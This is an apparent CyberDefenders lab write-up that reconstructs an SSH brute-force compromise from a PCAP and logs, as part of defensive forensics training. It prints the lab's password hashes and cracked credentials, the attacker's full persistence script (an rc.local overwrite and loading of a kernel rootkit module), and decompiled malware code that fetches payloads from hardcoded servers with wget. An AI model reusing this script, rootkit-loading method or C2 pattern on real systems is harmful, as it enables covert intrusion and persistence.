EscapeRoom (CyberDefenders): Step-by-Step Writeup
Challenge Link:
Scenario: A KVM-hosted web server VM went down over a weekend. You get a PCAP (hp_challenge.pcap) plus logs (shadow.log, sudoers.log, ps.log) and need to reconstruct the attack.
Tools: Wireshark, Zui (Brim), John the Ripper or Hashcat, NetworkMiner, UPX, a decompiler (IDA, Ghidra or radare2), CyberChef. Download the lab zip and extract it with the password cyberdefenders.org.
Phase 1: The break-in
Q1. Service used to gain access: SSH
Open the PCAP in Wireshark and go to Statistics → Endpoints → TCP (or Conversations). Only two server ports matter: 22 (SSH) and 80 (HTTP). The flood of traffic to port 22 is the entry point.
Q2. Attack type: Brute-force
There are about 2,000 SSH packets, and Statistics → Conversations shows many short sessions of almost identical size (13 packets each). That’s repeated login guessing.
Q3. Likely tool: Hydra
Hydra is the standard SSH password-guessing tool, and its short, uniform connections match this pattern.
Q4. Failed attempts: 52
In Zui, run:
_path=="ssh" and auth_success!=trueThe result is 52 rows. Cross-check in Wireshark: the capture shows 54 SSH sessions, 2 of them successful, so 54 − 2 = 52.
or
Q5. Credentials used: manager:forgot
- Open
shadow.log. It holds SHA-512 crypt hashes ($6$..., Hashcat mode 1800). - Open
sudoers.logto see which users have sudo rights. - Crack the hashes:
john --wordlist=rockyou.txt shadow.logHashcat works too: hashcat -m 1800 hashes.txt rockyou.txt.
4. Cracked results: manager:forgot, sean:spectre, gibson:god.
5. manager is a sudoer, so it was the account that mattered.
root:$6$xWqR7iex$0xPdUK6aQcVHAjLk747Ysi17Wh2xJLPpAu0wIbezCIUxuJ7rT5Uuj26nCzMuKfwty.RVlv3mg.t.Xge6Bx9fs/:15549:0:99999:7:::
daemon:*:15507:0:99999:7:::
bin:*:15507:0:99999:7:::
sys:*:15507:0:99999:7:::
sync:*:15507:0:99999:7:::
games:*:15507:0:99999:7:::
man:*:15507:0:99999:7:::
lp:*:15507:0:99999:7:::
mail:*:15507:0:99999:7:::
news:*:15507:0:99999:7:::
uucp:*:15507:0:99999:7:::
proxy:*:15507:0:99999:7:::
www-data:*:15507:0:99999:7:::
backup:*:15507:0:99999:7:::
list:*:15507:0:99999:7:::
irc:*:15507:0:99999:7:::
gnats:*:15507:0:99999:7:::
nobody:*:15507:0:99999:7:::
libuuid:!:15507:0:99999:7:::
syslog:*:15507:0:99999:7:::
messagebus:*:15507:0:99999:7:::
whoopsie:*:15507:0:99999:7:::
landscape:*:15507:0:99999:7:::
sshd:*:15507:0:99999:7:::
ubuntu:$6$MOCeF0du$eCgZ9.I.hS5CDST1aQHozhLbBH6rAUj97vvW/22eaCynqLv/whZKM1freAN3n2XQiCWjDr0UFreVv0IAvI.fl0:15549:0:99999:7:::
guest:$6$SaltVal1$MNuCQofLmz9CSSVdNGkdj7gRvcHeRinIVP2ezH5Q17oGC23EdbyAwZ6uzaknESS0W0TkgVpyqzGYqJMdxXSSl/:15549:0:99999:7:::
gibson:$6$SaltVal3$ub1ejU/gJOqG1gKnGhSypMtVJouMJ9JmVOYgptXcL0HLSfA84ZH.uwngUpf5XiLp0hu/E2hVh.CLBp2U24Uac1:15549:0:99999:7:::
sean:$6$SaltVal4$rIpTjZrVyyX4Lz0/TMvx3FjUbRRMEgKJ2vnQwBgaoSWeLm/VZifQvBco8AnpVQWhNvMolnyY43X5/i5YK/TIw.:15549:0:99999:7:::
george:$6$SaltVal5$W3YtX9RKtQfqPWxg6/iaxwMYD8LFxP/zqvTsg5GNXi39ulbUSAR.lvjXHrpJdSISNAiWpb6kj2iNI6LlFWETC1:15549:0:99999:7:::
roger:$6$SaltVal6$.1SaTeewycJ1oTmt/6yxAbEyezXhnOajmjP9KWhvNGhkOapy0CyGvEBSQyuL2.TbiEDAPhfoKgoHjbPjczvHH0:15549:0:99999:7:::
timothy:$6$SaltVal7$B6dVnvXVmLuILd3oBeCjvjUAYnowMZ5IRm1k3xzKq/fo8MZV7rUMFU1hhzRvaw9.G6mPST8fL8R6cvWqppcpf.:15549:0:99999:7:::
pierce:$6$SaltVal8$IUEDzxEsUcki.khFF/HOfbSa6uswLDmEGAobvvbz.8MYy9UvtPo6DCZrpcbLa2Ma4AUj65mNCr7xPP0kVH0tT/:15549:0:99999:7:::
sterling:$6$SaltVal9$7oq808gj5Pm4vzJQ7rOWXHtUiJw.qfmEhcmqhGYWUr.r3n4/G5V12QWVaJq7DPura/ZEVPqEUUpMlYzv412Qb1:15549:0:99999:7:::
manager:$6$SaltVal2$ybuPu7Nmo9LKn0p0ozhFhFw2SS2cqkLsx8c5OEAWFkIJjtXBEJqxUQzLh900QMgFTGiw6YuFDueNAapfLKt0f1:15549:0:99999:7:::┌──(kali㉿kali)-[~/Downloads/temp_extract_dir/EscapeRoom]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt crackme.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
forgot (manager)
1g 0:00:00:01 DONE (2026-11-10 05:02) 0.5076g/s 1559p/s 1559c/s 1559C/s gators..dangerous
Use the "--show" option to display all of the cracked passwords reliably
Session completed.Q6. Other sudo-capable credentials: sean:spectre
sean is also listed in sudoers.log, and his password cracked in the same run.
┌──(kali㉿kali)-[~/Downloads/temp_extract_dir/EscapeRoom]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt --user=sean shadow.log
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spectre (sean)
1g 0:00:01:04 DONE (2026-11-10 05:07) 0.01544g/s 1415p/s 1415c/s 1415C/s vikingo..rose93
Use the "--show" option to display all of the cracked passwords reliably
Session completed.Phase 2: Malware delivery
Q7. Download tool: Wget
Filter http in Wireshark, then right-click a request and choose Follow → HTTP Stream. The User-Agent is Wget. In Zui, _path=="http" shows the same in the user_agent column.
Q8. Files downloaded: 3
File → Export Objects → HTTP lists three files named 1, 2 and 3.
Q9. Main malware MD5: 772b620736b760c1d736b1e6ba2f885b
Export file 1, which is the ELF executable (MIME type application/x-executable). Hash it with md5sum 1, or use the md5 column from _path=="files" in Zui. VirusTotal flags it as malicious.
┌──(kali㉿kali)-[~/Downloads/temp_extract_dir/EscapeRoom]
└─$ ls
1 18-EscapeRoom.zip crackme.txt hp_challenge.pcap ps.log shadow.log sudoers.log zui_1.18.0_amd64.deb
┌──(kali㉿kali)-[~/Downloads/temp_extract_dir/EscapeRoom]
└─$ md5sum 1
772b620736b760c1d736b1e6ba2f885b 1Q10. File modified for persistence: /etc/rc.local
File 3 is a readable shell script. Search the PCAP for “rc.local” and follow the TCP stream. The script overwrites /etc/rc.local so the malware launches at every boot:
echo -e "/var/mail/mail &\nsleep 1\n..." > /etc/rc.localrc.local runs at the end of boot, which makes it a classic persistence spot.
Q11. Where the malware keeps local files: /var/mail
The start of the script does mv 1 /var/mail/mail and chmod +x /var/mail/mail. The malware is disguised as a “mail” binary.
#!/bin/bash
mv 1 /var/mail/mail
chmod +x /var/mail/mail
echo -e "/var/mail/mail &\nsleep 1\npidof mail > /proc/dmesg\nexit 0" > /etc/rc.local
nohup /var/mail/mail > /dev/null 2>&1&
mv 2 /lib/modules/`uname -r`/sysmod.ko
depmod -a
echo "sysmod" >> /etc/modules
modprobe sysmod
sleep 1
pidof mail > /proc/dmesg
rm 3Phase 3: Hiding the malware
Q12. What’s missing from ps.log: /var/mail/mail
ps.log lists running processes. The malware is supposed to be running, yet /var/mail/mail doesn’t appear there. Something is hiding it.
Q13. File used to hide it: sysmod.ko
File 2 is a kernel module (rootkit). The script uses uname -r to find the kernel version, copies the module into the modules directory, and adds it to /etc/modules so it loads on boot. Once loaded, it filters the malware out of process listings.
Phase 4: Reverse-engineering the malware (file 1)
The binary is UPX-packed, so unpack it first:
upx -d 1 -o malware_unpacked
┌──(kali㉿kali)-[~/Downloads/temp_extract_dir/EscapeRoom]
└─$ ls
1 18-EscapeRoom.zip 3 crackme.txt dfs.gpr dfs.lock dfs.lock~ dfs.rep hp_challenge.pcap ps.log shadow.log sudoers.log zui_1.18.0_amd64.deb
┌──(kali㉿kali)-[~/Downloads/temp_extract_dir/EscapeRoom]
└─$ upx -d 1
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2024
UPX 4.2.4 Markus Oberhumer, Laszlo Molnar & John Reiser May 9th 2024
File size Ratio Format Name
-------------------- ------ ----------- -----------
[WARNING] bad b_info at 0x22a8
[WARNING] ... recovery at 0x22a4
30222 <- 11164 36.94% linux/amd64 1
Unpacked 1 file.
┌──(kali㉿kali)-[~/Downloads/temp_extract_dir/EscapeRoom]
└─$ ls
1 18-EscapeRoom.zip 3 crackme.txt dfs.gpr dfs.lock dfs.lock~ dfs.rep hp_challenge.pcap ps.log shadow.log sudoers.log zui_1.18.0_amd64.deb
┌──(kali㉿kali)-[~/Downloads/temp_extract_dir/EscapeRoom]
└─$ file 1
1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=0d363acda9b4e7f53ca11d002533fb31de781445, not strippedThen open malware_unpacked in IDA, Ghidra or radare2.
Get Sushma’s stories in your inbox
Join Medium for free to get updates from this writer.
Q14. Function in main that contacts servers: requestFile
In the decompiled main, a loop calls requestFile(address) for each hardcoded server. In radare2 you can find it with aaa, afl, then pdf @ main.
undefined8 main(void)
{
int iVar1;
time_t tVar2;
FILE *__stream;
long lVar3;
void *pvVar4;
long in_FS_OFFSET;
int local_420;
char local_418 [1032];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_420 = 0;
tVar2 = time((time_t *)0x0);
srand((uint)tVar2);
while( true ) {
makeKeys();
requestFile(*(undefined8 *)(addr + (long)local_420 * 8));
sprintf(local_418,"%s%s",&DAT_00403db6,*(undefined8 *)(lookupFile + (long)currentIndex * 8));
__stream = fopen(local_418,"rb");
fseek(__stream,0,2);
lVar3 = ftell(__stream);
fseek(__stream,0,0);
fclose(__stream);
pvVar4 = malloc((long)(int)((uint)lVar3 & 0xfffffffc));
decryptMessage(pvVar4);
iVar1 = processMessage(pvVar4);
if (iVar1 != 0) break;
sleep(1);
local_420 = local_420 + 1;
if (local_420 == 4) {
local_420 = 0;
}
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 1;void requestFile(undefined8 param_1)
{
undefined8 uVar1;
FILE *__stream;
long in_FS_OFFSET;
char local_128 [280];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
uVar1 = encode(*(undefined8 *)(lookupMod + (long)currentIndex * 8));
sprintf(local_128,"wget -O %s%s http://%s/n/%s",&DAT_00403db6,
*(undefined8 *)(lookupFile + (long)currentIndex * 8),param_1,uVar1);
puts(local_128);
__stream = popen(local_128,"r");
pclose(__stream);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}Q15. IP starting with 17: 174.129.57.253
Load the PCAP in NetworkMiner (Hosts tab) or check Statistics → Endpoints → IPv4. This is one of the servers the malware contacted.
Q16. Files requested from external servers: 9
In NetworkMiner’s Files tab or Zui’s HTTP log, excluding the 3 files dropped earlier, 9 .bmp files were fetched. The malware uses image requests as a disguised channel to its servers.
Q17. Commands the malware receives (alphabetical): NOP, RUN
- Find
processMessage, which is called frommain. In radare2:pdf @ sym.processMessage. - It compares incoming data against two constants:
0x4e4f50000x52554e3a
- Convert the hex to ASCII in CyberChef. Because of little-endian byte order, you read them as:
0x4e4f5000→NOP0x52554e3a→RUN:
- In alphabetical order: NOP, RUN.
Thanks for reading! If you found this walkthrough helpful, please share it with everyone.





![IcedID Lab [CyberDefenders Write-up]](https://miro.medium.com/v2/resize:fit:1358/format:webp/1*3Q9R8gJ0kAe77tm2xvB2Cw.jpeg)

